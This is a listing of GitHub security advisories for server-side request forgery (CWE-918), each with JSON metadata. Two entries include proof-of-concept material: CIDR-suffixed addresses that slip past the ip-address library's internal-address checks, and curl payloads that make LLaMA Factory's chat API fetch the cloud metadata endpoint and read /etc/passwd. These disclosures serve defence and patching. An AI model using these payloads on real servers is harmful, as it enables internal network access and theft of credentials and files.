CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6238 vulnerabilities reference this CWE, most recent first.
GHSA-4X9J-CJQ3-HXHF
Vulnerability from github – Published: 2024-07-22 12:30 – Updated: 2024-07-22 12:30Server-Side Request Forgery (SSRF) vulnerability in Noor alam Magical Addons For Elementor.This issue affects Magical Addons For Elementor: from n/a through 1.1.41.
{
"affected": [],
"aliases": [
"CVE-2024-38730"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-22T11:15:04Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Noor alam Magical Addons For Elementor.This issue affects Magical Addons For Elementor: from n/a through 1.1.41.",
"id": "GHSA-4x9j-cjq3-hxhf",
"modified": "2024-07-22T12:30:38Z",
"published": "2024-07-22T12:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38730"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/magical-addons-for-elementor/wordpress-magical-addons-for-elementor-plugin-1-1-40-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4XHM-Q9H6-MQ38
Vulnerability from github – Published: 2023-11-13 03:30 – Updated: 2026-04-28 21:33Server-Side Request Forgery (SSRF) vulnerability in Dimitar Ivanov HTTP Headers.This issue affects HTTP Headers: from n/a through 1.18.11.
{
"affected": [],
"aliases": [
"CVE-2023-37978"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-13T03:15:08Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Dimitar Ivanov HTTP Headers.This issue affects HTTP Headers: from n/a through 1.18.11.",
"id": "GHSA-4xhm-q9h6-mq38",
"modified": "2026-04-28T21:33:07Z",
"published": "2023-11-13T03:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37978"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/http-headers/wordpress-http-headers-plugin-1-18-11-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4XP8-858J-G46W
Vulnerability from github – Published: 2026-08-03 21:31 – Updated: 2026-08-03 21:31A security vulnerability has been detected in jina-ai reader up to 1574bfd380d249c86c82db4dace0d9c8fe17e2b1. This issue affects the function isValidTLD of the file /backend/functions/src/cloud-functions/crawler.ts of the component Crawler/Puppeteer. The manipulation leads to server-side request forgery. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-18647"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-03T21:16:37Z",
"severity": "MODERATE"
},
"details": "A security vulnerability has been detected in jina-ai reader up to 1574bfd380d249c86c82db4dace0d9c8fe17e2b1. This issue affects the function isValidTLD of the file /backend/functions/src/cloud-functions/crawler.ts of the component Crawler/Puppeteer. The manipulation leads to server-side request forgery. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-4xp8-858j-g46w",
"modified": "2026-08-03T21:31:37Z",
"published": "2026-08-03T21:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18647"
},
{
"type": "WEB",
"url": "https://github.com/orionyan520/cve_report/issues/8"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-18647"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/855011"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/385566"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/385566/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4XRF-JV44-H6HH
Vulnerability from github – Published: 2026-08-03 19:59 – Updated: 2026-08-03 19:59Summary
Every special-use classification method is built on isInSubnet, which short-circuits to false whenever the address's own subnet mask is shorter than the reference range's mask. That mask comes verbatim from the CIDR suffix on the parsed input, so appending a suffix such as /0 suppresses classification entirely: isLoopback(), isPrivate(), isLinkLocal(), isCGNAT(), isMulticast(), isUnspecified(), isBroadcast(), isULA(), and getType() all report an internal address as unremarkable, while correctForm() and address still return the real internal target.
An application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) may therefore treat an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.
Details
isInSubnet in src/common.ts opens with a guard that compares the two prefix lengths:
export function isInSubnet(this, address) {
if (this.subnetMask < address.subnetMask) {
return false; // <-- reached before any bit comparison
}
if (this.mask(address.subnetMask) === address.mask()) {
return true;
}
return false;
}
That guard is correct for the question isInSubnet is named for — whether one network is contained in another, where a /0 network genuinely is not inside a /8. It is wrong for classification, which asks a question about the address itself and must not depend on the prefix the caller happened to write. /0 is shorter than every reference prefix in the special-use tables (loopback /8, link-local /16, CGNAT /10, ULA /7, multicast /4), so for a classification call the bit comparison is never reached and the method returns false.
The underlying bit comparison is correct, and mask(n) already returns the first n bits of the full parsed address independently of subnetMask — the defect is solely that the containment guard sits in the classification path. Host bits are retained through parsing, so correctForm() still yields the real target and the address remains fully usable for connecting.
/0 is the universal case because it is shorter than every reference prefix, but any suffix shorter than the specific range being tested has the same effect: 10.0.0.5/7 defeats isPrivate() for 10.0.0.0/8.
Affected versions
>= 10.1.1, <= 10.2.1. The is* classification API was introduced for Address4 in 10.1.1 and extended to Address6 in 10.2.0; releases before 10.1.1 do not expose it and are not affected through this vector. The containment guard itself is much older, but isInSubnet alone is a subnet-containment predicate whose behavior here is correct.
This also defeats the fix released in 10.2.1 for GHSA-22jq-vg5j-6vgg: that release classifies IPv4-mapped and NAT64 addresses by their embedded IPv4 address, but the normalization is reached through isInSubnet, so ::ffff:127.0.0.1/0 reverts to being reported as non-internal.
Impact
Every classifier is affected on both Address4 and Address6. The sole exception is Address6.isLinkLocal() for native fe80::/10 addresses, which compares raw bits directly; its IPv4-mapped path is still affected.
| Address | Reported as | Actually points at |
|---|---|---|
127.0.0.1/0 |
not loopback | loopback (127.0.0.0/8) |
10.0.0.1/0, 10.0.0.5/7 |
not private | RFC 1918 10/8 |
172.16.5.5/0 |
not private | RFC 1918 172.16/12 |
192.168.1.1/0 |
not private | RFC 1918 192.168/16 |
169.254.169.254/0 |
not link-local | link-local / cloud metadata (IMDS) |
100.64.0.1/0 |
not CGNAT | CGNAT 100.64/10 |
0.0.0.0/0, 255.255.255.255/0 |
not unspecified / not broadcast | unspecified / broadcast |
::1/0 |
not loopback | IPv6 loopback |
fc00::1/0 |
not ULA, not private | IPv6 ULA fc00::/7 |
ff02::1/0 |
not multicast | IPv6 multicast |
::ffff:127.0.0.1/0 |
not loopback | loopback, via IPv4-mapped |
::ffff:169.254.169.254/0 |
not link-local | IMDS, via IPv4-mapped |
64:ff9b::7f00:1/0 |
not loopback | loopback, via NAT64 |
getType() returns Global unicast for all of the IPv6 cases above, and getScope() follows it.
Reachability
A CIDR suffix is not legal in a URL host, so this is not reachable through the most common SSRF shape. new URL('http://127.0.0.1/0') parses hostname as 127.0.0.1 and pathname as /0, and a guard that classifies the extracted hostname is unaffected. Exploitation requires an application that accepts a bare address string that may carry a suffix and passes it to the constructor before classifying — for example an allow/deny field, a webhook target, or a proxy destination taken as a plain host rather than parsed out of a URL.
Proof of concept
npm i ip-address@10.2.1, then:
const { Address4, Address6 } = require('ip-address');
// true => block as internal, false => allow outbound
function isBlocked(host) {
try {
const a = new Address4(host);
return a.isPrivate() || a.isLoopback() || a.isLinkLocal() || a.isCGNAT()
|| a.isMulticast() || a.isUnspecified() || a.isBroadcast();
} catch {}
try {
const a = new Address6(host);
return a.isPrivate() || a.isLoopback() || a.isLinkLocal() || a.isULA()
|| a.isMulticast() || a.isUnspecified();
} catch {}
return false;
}
for (const h of ['127.0.0.1', '10.0.0.1', '::1',
'127.0.0.1/0', '10.0.0.5/7', '169.254.169.254/0',
'::1/0', '::ffff:127.0.0.1/0', '64:ff9b::7f00:1/0']) {
console.log(isBlocked(h) ? 'BLOCK ' : 'ALLOW ', h, '->', new (h.includes(':') ? Address6 : Address4)(h).correctForm());
}
On affected versions every suffixed internal target is allowed, and correctForm() shows the request would reach the real internal address:
BLOCK 127.0.0.1 -> 127.0.0.1
BLOCK 10.0.0.1 -> 10.0.0.1
BLOCK ::1 -> ::1
ALLOW 127.0.0.1/0 -> 127.0.0.1
ALLOW 10.0.0.5/7 -> 10.0.0.5
ALLOW 169.254.169.254/0 -> 169.254.169.254
ALLOW ::1/0 -> ::1
ALLOW ::ffff:127.0.0.1/0 -> ::ffff:7f00:1
ALLOW 64:ff9b::7f00:1/0 -> 64:ff9b::7f00:1
The first three lines are blocked as expected; the same destinations with a CIDR suffix are allowed through.
Remediation
Upgrade to the patched release. In the fix, classification no longer consults the address's own prefix: a new isHostInSubnet() compares the address's host bits against the reference range only, and every classifier (isLoopback, isPrivate, isLinkLocal, isCGNAT, isMulticast, isUnspecified, isBroadcast, isULA, isMapped4, isTeredo, is6to4, isDocumentation, getType, and the IPv4-mapped/NAT64 normalization behind embeddedIPv4) uses it. isInSubnet keeps its subnet-containment semantics unchanged, including the guard that a wider network is not contained in a narrower one. After upgrading, new Address4('127.0.0.1/0').isLoopback() returns true.
If you cannot upgrade immediately, strip the suffix before classifying by re-parsing addressMinusSuffix:
const parsed = new Address4(userInput);
const host = new Address4(parsed.addressMinusSuffix); // classify this one
A note on SSRF defense
These methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the resolved IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.
Credit
Reported by @hi-im-glitchless.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.2.1"
},
"package": {
"ecosystem": "npm",
"name": "ip-address"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.1"
},
{
"fixed": "10.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69198"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-03T19:59:33Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nEvery special-use classification method is built on `isInSubnet`, which short-circuits to `false` whenever the address\u0027s own subnet mask is *shorter* than the reference range\u0027s mask. That mask comes verbatim from the CIDR suffix on the parsed input, so appending a suffix such as `/0` suppresses classification entirely: `isLoopback()`, `isPrivate()`, `isLinkLocal()`, `isCGNAT()`, `isMulticast()`, `isUnspecified()`, `isBroadcast()`, `isULA()`, and `getType()` all report an internal address as unremarkable, while `correctForm()` and `address` still return the real internal target.\n\nAn application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) may therefore treat an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.\n\n### Details\n\n`isInSubnet` in `src/common.ts` opens with a guard that compares the two prefix lengths:\n\n```js\nexport function isInSubnet(this, address) {\n if (this.subnetMask \u003c address.subnetMask) {\n return false; // \u003c-- reached before any bit comparison\n }\n\n if (this.mask(address.subnetMask) === address.mask()) {\n return true;\n }\n\n return false;\n}\n```\n\nThat guard is correct for the question `isInSubnet` is named for \u2014 whether one *network* is contained in another, where a `/0` network genuinely is not inside a `/8`. It is wrong for classification, which asks a question about the address itself and must not depend on the prefix the caller happened to write. `/0` is shorter than every reference prefix in the special-use tables (loopback `/8`, link-local `/16`, CGNAT `/10`, ULA `/7`, multicast `/4`), so for a classification call the bit comparison is never reached and the method returns `false`.\n\nThe underlying bit comparison is correct, and `mask(n)` already returns the first `n` bits of the full parsed address independently of `subnetMask` \u2014 the defect is solely that the containment guard sits in the classification path. Host bits are retained through parsing, so `correctForm()` still yields the real target and the address remains fully usable for connecting.\n\n`/0` is the universal case because it is shorter than every reference prefix, but any suffix shorter than the specific range being tested has the same effect: `10.0.0.5/7` defeats `isPrivate()` for `10.0.0.0/8`.\n\n### Affected versions\n\n`\u003e= 10.1.1, \u003c= 10.2.1`. The `is*` classification API was introduced for `Address4` in 10.1.1 and extended to `Address6` in 10.2.0; releases before 10.1.1 do not expose it and are not affected through this vector. The containment guard itself is much older, but `isInSubnet` alone is a subnet-containment predicate whose behavior here is correct.\n\nThis also defeats the fix released in 10.2.1 for GHSA-22jq-vg5j-6vgg: that release classifies IPv4-mapped and NAT64 addresses by their embedded IPv4 address, but the normalization is reached through `isInSubnet`, so `::ffff:127.0.0.1/0` reverts to being reported as non-internal.\n\n### Impact\n\nEvery classifier is affected on both `Address4` and `Address6`. The sole exception is `Address6.isLinkLocal()` for *native* `fe80::/10` addresses, which compares raw bits directly; its IPv4-mapped path is still affected.\n\n| Address | Reported as | Actually points at |\n|---|---|---|\n| `127.0.0.1/0` | not loopback | loopback (`127.0.0.0/8`) |\n| `10.0.0.1/0`, `10.0.0.5/7` | not private | RFC 1918 `10/8` |\n| `172.16.5.5/0` | not private | RFC 1918 `172.16/12` |\n| `192.168.1.1/0` | not private | RFC 1918 `192.168/16` |\n| `169.254.169.254/0` | not link-local | link-local / cloud metadata (IMDS) |\n| `100.64.0.1/0` | not CGNAT | CGNAT `100.64/10` |\n| `0.0.0.0/0`, `255.255.255.255/0` | not unspecified / not broadcast | unspecified / broadcast |\n| `::1/0` | not loopback | IPv6 loopback |\n| `fc00::1/0` | not ULA, not private | IPv6 ULA `fc00::/7` |\n| `ff02::1/0` | not multicast | IPv6 multicast |\n| `::ffff:127.0.0.1/0` | not loopback | loopback, via IPv4-mapped |\n| `::ffff:169.254.169.254/0` | not link-local | IMDS, via IPv4-mapped |\n| `64:ff9b::7f00:1/0` | not loopback | loopback, via NAT64 |\n\n`getType()` returns `Global unicast` for all of the IPv6 cases above, and `getScope()` follows it.\n\n### Reachability\n\nA CIDR suffix is not legal in a URL host, so this is not reachable through the most common SSRF shape. `new URL(\u0027http://127.0.0.1/0\u0027)` parses `hostname` as `127.0.0.1` and `pathname` as `/0`, and a guard that classifies the extracted hostname is unaffected. Exploitation requires an application that accepts a bare address string that may carry a suffix and passes it to the constructor before classifying \u2014 for example an allow/deny field, a webhook target, or a proxy destination taken as a plain host rather than parsed out of a URL.\n\n### Proof of concept\n\n`npm i ip-address@10.2.1`, then:\n\n```js\nconst { Address4, Address6 } = require(\u0027ip-address\u0027);\n\n// true =\u003e block as internal, false =\u003e allow outbound\nfunction isBlocked(host) {\n try {\n const a = new Address4(host);\n return a.isPrivate() || a.isLoopback() || a.isLinkLocal() || a.isCGNAT()\n || a.isMulticast() || a.isUnspecified() || a.isBroadcast();\n } catch {}\n try {\n const a = new Address6(host);\n return a.isPrivate() || a.isLoopback() || a.isLinkLocal() || a.isULA()\n || a.isMulticast() || a.isUnspecified();\n } catch {}\n return false;\n}\n\nfor (const h of [\u0027127.0.0.1\u0027, \u002710.0.0.1\u0027, \u0027::1\u0027,\n \u0027127.0.0.1/0\u0027, \u002710.0.0.5/7\u0027, \u0027169.254.169.254/0\u0027,\n \u0027::1/0\u0027, \u0027::ffff:127.0.0.1/0\u0027, \u002764:ff9b::7f00:1/0\u0027]) {\n console.log(isBlocked(h) ? \u0027BLOCK \u0027 : \u0027ALLOW \u0027, h, \u0027-\u003e\u0027, new (h.includes(\u0027:\u0027) ? Address6 : Address4)(h).correctForm());\n}\n```\n\nOn affected versions every suffixed internal target is allowed, and `correctForm()` shows the request would reach the real internal address:\n\n```\nBLOCK 127.0.0.1 -\u003e 127.0.0.1\nBLOCK 10.0.0.1 -\u003e 10.0.0.1\nBLOCK ::1 -\u003e ::1\nALLOW 127.0.0.1/0 -\u003e 127.0.0.1\nALLOW 10.0.0.5/7 -\u003e 10.0.0.5\nALLOW 169.254.169.254/0 -\u003e 169.254.169.254\nALLOW ::1/0 -\u003e ::1\nALLOW ::ffff:127.0.0.1/0 -\u003e ::ffff:7f00:1\nALLOW 64:ff9b::7f00:1/0 -\u003e 64:ff9b::7f00:1\n```\n\nThe first three lines are blocked as expected; the same destinations with a CIDR suffix are allowed through.\n\n### Remediation\n\nUpgrade to the patched release. In the fix, classification no longer consults the address\u0027s own prefix: a new `isHostInSubnet()` compares the address\u0027s host bits against the reference range only, and every classifier (`isLoopback`, `isPrivate`, `isLinkLocal`, `isCGNAT`, `isMulticast`, `isUnspecified`, `isBroadcast`, `isULA`, `isMapped4`, `isTeredo`, `is6to4`, `isDocumentation`, `getType`, and the IPv4-mapped/NAT64 normalization behind `embeddedIPv4`) uses it. `isInSubnet` keeps its subnet-containment semantics unchanged, including the guard that a wider network is not contained in a narrower one. After upgrading, `new Address4(\u0027127.0.0.1/0\u0027).isLoopback()` returns `true`.\n\nIf you cannot upgrade immediately, strip the suffix before classifying by re-parsing `addressMinusSuffix`:\n\n```js\nconst parsed = new Address4(userInput);\nconst host = new Address4(parsed.addressMinusSuffix); // classify this one\n```\n\n### A note on SSRF defense\n\nThese methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the *resolved* IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.\n\n### Credit\n\nReported by @hi-im-glitchless.",
"id": "GHSA-4xrf-jv44-h6hh",
"modified": "2026-08-03T19:59:33Z",
"published": "2026-08-03T19:59:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-4xrf-jv44-h6hh"
},
{
"type": "WEB",
"url": "https://github.com/beaugunderson/ip-address/commit/488fe9bc7c35363b4b090494fc38c266d217740d"
},
{
"type": "PACKAGE",
"url": "https://github.com/beaugunderson/ip-address"
},
{
"type": "WEB",
"url": "https://github.com/beaugunderson/ip-address/releases/tag/v10.2.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "ip-address: a CIDR suffix on the parsed address suppresses special-use classification and can bypass SSRF and trust-boundary checks"
}
GHSA-4XRQ-5CGC-J65H
Vulnerability from github – Published: 2022-12-29 21:30 – Updated: 2023-01-09 18:30Protections against potential Server-Side Request Forgery (SSRF) vulnerabilities in Esri Portal for ArcGIS versions 10.8.1 and below were not fully honored and may allow a remote, unauthenticated attacker to forge requests to arbitrary URLs from the system, potentially leading to network enumeration or reading from hosts inside the network perimeter, a different issue than CVE-2022-38211 and CVE-2022-38203.
{
"affected": [],
"aliases": [
"CVE-2022-38212"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-29T20:15:00Z",
"severity": "HIGH"
},
"details": "Protections against potential Server-Side Request Forgery (SSRF) vulnerabilities in Esri Portal for ArcGIS versions 10.8.1 and below were not fully honored and may allow a remote, unauthenticated attacker to forge requests to arbitrary URLs from the system, potentially leading to network enumeration or reading from hosts inside the network perimeter, a different issue than CVE-2022-38211 and CVE-2022-38203.",
"id": "GHSA-4xrq-5cgc-j65h",
"modified": "2023-01-09T18:30:18Z",
"published": "2022-12-29T21:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38212"
},
{
"type": "WEB",
"url": "https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/portal-for-arcgis-security-2022-update-2-patch-is-now-available"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5227-22F5-M93M
Vulnerability from github – Published: 2025-01-11 03:30 – Updated: 2025-01-11 03:30HCL MyXalytics is affected by out-of-band resource load (HTTP) vulnerability. An attacker can deploy a web server that returns malicious content, and then induce the application to retrieve and process that content.
{
"affected": [],
"aliases": [
"CVE-2024-42168"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-11T03:15:21Z",
"severity": "HIGH"
},
"details": "HCL MyXalytics is affected by out-of-band resource load (HTTP) vulnerability. An attacker can deploy a web server that returns malicious content, and then induce the application to retrieve and process that content.",
"id": "GHSA-5227-22f5-m93m",
"modified": "2025-01-11T03:30:40Z",
"published": "2025-01-11T03:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42168"
},
{
"type": "WEB",
"url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0118149"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-524P-6J7X-RWRC
Vulnerability from github – Published: 2022-09-07 00:01 – Updated: 2022-09-13 00:00The All-in-One Video Gallery plugin for WordPress is vulnerable to arbitrary file downloads and blind server-side request forgery via the 'dl' parameter found in the ~/public/video.php file in versions up to, and including 2.6.0. This makes it possible for unauthenticated users to download sensitive files hosted on the affected server and forge requests to the server.
{
"affected": [],
"aliases": [
"CVE-2022-2633"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-06T18:15:00Z",
"severity": "HIGH"
},
"details": "The All-in-One Video Gallery plugin for WordPress is vulnerable to arbitrary file downloads and blind server-side request forgery via the \u0027dl\u0027 parameter found in the ~/public/video.php file in versions up to, and including 2.6.0. This makes it possible for unauthenticated users to download sensitive files hosted on the affected server and forge requests to the server.",
"id": "GHSA-524p-6j7x-rwrc",
"modified": "2022-09-13T00:00:41Z",
"published": "2022-09-07T00:01:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2633"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/all-in-one-video-gallery/trunk/public/video.php#L227"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2768384/all-in-one-video-gallery/trunk/public/video.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=2744708%40all-in-one-video-gallery\u0026new=2744708%40all-in-one-video-gallery\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/83b0534e-1b8d-46a8-9698-e7ca73e5ab57?source=cve"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/vulnerability-advisories/#CVE-2022-2633"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-525P-6C9G-WF86
Vulnerability from github – Published: 2022-05-24 17:13 – Updated: 2024-03-21 03:33Microstrategy Web 10.4 is vulnerable to Server-Side Request Forgery in the Test Web Service functionality exposed through the path /MicroStrategyWS/. The functionality requires no authentication and, while it is not possible to pass parameters in the SSRF request, it is still possible to exploit it to conduct port scanning. An attacker could exploit this vulnerability to enumerate the resources allocated in the network (IP addresses and services exposed).
{
"affected": [],
"aliases": [
"CVE-2020-11453"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-04-02T16:15:00Z",
"severity": "MODERATE"
},
"details": "Microstrategy Web 10.4 is vulnerable to Server-Side Request Forgery in the Test Web Service functionality exposed through the path /MicroStrategyWS/. The functionality requires no authentication and, while it is not possible to pass parameters in the SSRF request, it is still possible to exploit it to conduct port scanning. An attacker could exploit this vulnerability to enumerate the resources allocated in the network (IP addresses and services exposed).",
"id": "GHSA-525p-6c9g-wf86",
"modified": "2024-03-21T03:33:54Z",
"published": "2022-05-24T17:13:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11453"
},
{
"type": "WEB",
"url": "https://community.microstrategy.com/s/article/Web-Services-Security-Vulnerability"
},
{
"type": "WEB",
"url": "https://www.redtimmy.com/web-application-hacking/another-ssrf-another-rce-the-microstrategy-case"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/157068/MicroStrategy-Intelligence-Server-And-Web-10.4-XSS-Disclosure-SSRF-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2020/Apr/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-527M-2XHR-J27G
Vulnerability from github – Published: 2025-10-07 22:08 – Updated: 2026-03-19 20:50Summary
A Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server's filesystem.
Details
The vulnerability exists in the _process_request function within src/llamafactory/api/chat.py. This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs.
The function checks if the provided URL is a base64 data URI or a local file path (os.path.isfile). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using requests.get(url, stream=True).raw without any validation or sanitization of the URL.
Vulnerable Code Snippets in _process_request:
# ...
elif input_item.type == "image_url":
# ...
else: # web uri
image_stream = requests.get(image_url, stream=True).raw
# ...
elif input_item.type == "video_url":
# ...
else: # web uri
video_stream = requests.get(video_url, stream=True).raw
# ...
elif input_item.type == "audio_url":
# ...
else: # web uri
audio_stream = requests.get(audio_url, stream=True).raw
# ...
This vulnerable function is called by create_chat_completion_response and create_stream_chat_completion_response, which are in turn called by the public-facing /v1/chat/completions API endpoint in src/llamafactory/api/app.py. A user can craft a request to this endpoint containing a malicious URL in the messages payload to trigger the vulnerability.
PoC
To reproduce the vulnerability, send a POST request to the /v1/chat/completions endpoint with a JSON payload containing a URL that points to an internal or controlled external service.
Start the LLaMA Factory API server.
Use curl to send the malicious request. The following example uses a URL pointing to the AWS metadata service, a common SSRF attack vector.
SSRF Payload:
curl -X POST "http://127.0.0.1:8000/v1/chat/completions" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer your_api_key" \
-d '{
"model": "your-model-name",
"messages": [
{
"role": "user",
"content": [
{
"type": "text",
"text": "What is in this image?"
},
{
"type": "image_url",
"image_url": {
"url": "http://169.254.169.254/latest/meta-data/"
}
}
]
}
]
}'
LFI Payload:
curl -X POST "http://127.0.0.1:8000/v1/chat/completions" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer your_api_key" \
-d '{
"model": "your-model-name",
"messages": [
{
"role": "user",
"content": [
{
"type": "text",
"text": "What is in this image?"
},
{
"type": "image_url",
"image_url": {
"url": "/etc/passwd"
}
}
]
}
]
}'
The server will make a request to the specified URL or read the specified local file.
Impact
Vulnerability Type: Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI).
Impacted Component: The API server, specifically the /v1/chat/completions endpoint.
Who is impacted: Any user who can send requests to the chat API. The vulnerability allows an attacker to bypass firewalls and access internal network resources, query cloud metadata services for credentials, or read sensitive files on the server. The severity is critical.
Credits
Wenhao Wu, ChengGao, Alibaba Cloud Intelligence Security Team
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.3"
},
"package": {
"ecosystem": "PyPI",
"name": "llamafactory"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-61784"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-07T22:08:53Z",
"nvd_published_at": "2025-10-07T19:15:39Z",
"severity": "HIGH"
},
